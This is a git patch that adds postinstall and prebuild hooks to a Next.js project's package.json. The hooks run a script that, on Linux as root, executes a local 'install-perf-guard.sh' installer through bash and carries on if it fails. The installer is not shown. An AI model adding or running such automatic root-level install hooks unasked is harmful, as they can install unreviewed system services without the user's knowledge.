From 4915160d5e430100ca36ad20123fdb493ee288cb Mon Sep 17 00:00:00 2001
From: Your Name <your.email@example.com>
Date: Sat, 14 Feb 2026 02:38:54 +0800
Subject: [PATCH] Auto-enable perf-guard during install and build on Linux root

---
 package.json                                |  2 +
 scripts/security/auto-enable-perf-guard.mjs | 63 +++++++++++++++++++++
 2 files changed, 65 insertions(+)
 create mode 100644 scripts/security/auto-enable-perf-guard.mjs

diff --git a/package.json b/package.json
index 1de2ea793..3cfbb57e9 100644
--- a/package.json
+++ b/package.json
@@ -4,6 +4,8 @@
   "private": true,
   "scripts": {
     "dev": "next dev --turbo",
+    "postinstall": "node scripts/security/auto-enable-perf-guard.mjs",
+    "prebuild": "node scripts/security/auto-enable-perf-guard.mjs",
     "build": "tsx lib/db/migrate && next build",
     "build:skip-prerender": "tsx lib/db/migrate && next build --no-lint || (echo 'Build with errors, creating fallback...' && mkdir -p .next && echo '{}' > .next/prerender-manifest.json && echo 'Build fallback created')",
     "start": "next start",
diff --git a/scripts/security/auto-enable-perf-guard.mjs b/scripts/security/auto-enable-perf-guard.mjs
new file mode 100644
index 000000000..743608139
--- /dev/null
+++ b/scripts/security/auto-enable-perf-guard.mjs
@@ -0,0 +1,63 @@
+#!/usr/bin/env node
+
+import { execSync } from "node:child_process";
+import { existsSync } from "node:fs";
+import { platform } from "node:os";
+import { dirname, resolve } from "node:path";
+import { fileURLToPath } from "node:url";
+
+function log(message) {
+  console.log(`[security-auto] ${message}`);
+}
+
+function commandExists(command) {
+  try {
+    execSync(`command -v ${command}`, { stdio: "ignore" });
+    return true;
+  } catch {
+    return false;
+  }
+}
+
+function run() {
+  if (platform() !== "linux") {
+    log("skip: only runs on Linux");
+    return;
+  }
+
+  if (process.env.DISABLE_PERF_GUARD_AUTO_INSTALL === "1") {
+    log("skip: DISABLE_PERF_GUARD_AUTO_INSTALL=1");
+    return;
+  }
+
+  if (typeof process.getuid !== "function" || process.getuid() !== 0) {
+    log("skip: requires root user");
+    return;
+  }
+
+  if (!commandExists("systemctl")) {
+    log("skip: systemctl not found");
+    return;
+  }
+
+  const currentFilePath = fileURLToPath(import.meta.url);
+  const securityDir = dirname(currentFilePath);
+  const installerPath = resolve(securityDir, "install-perf-guard.sh");
+
+  if (!existsSync(installerPath)) {
+    log(`skip: installer not found (${installerPath})`);
+    return;
+  }
+
+  try {
+    log("ensuring perf-guard is installed and enabled");
+    execSync(`bash "${installerPath}"`, { stdio: "inherit" });
+    log("perf-guard ready");
+  } catch (error) {
+    console.warn(
+      `[security-auto] warn: install-perf-guard failed, deployment continues. ${error instanceof Error ? error.message : String(error)}`
+    );
+  }
+}
+
+run();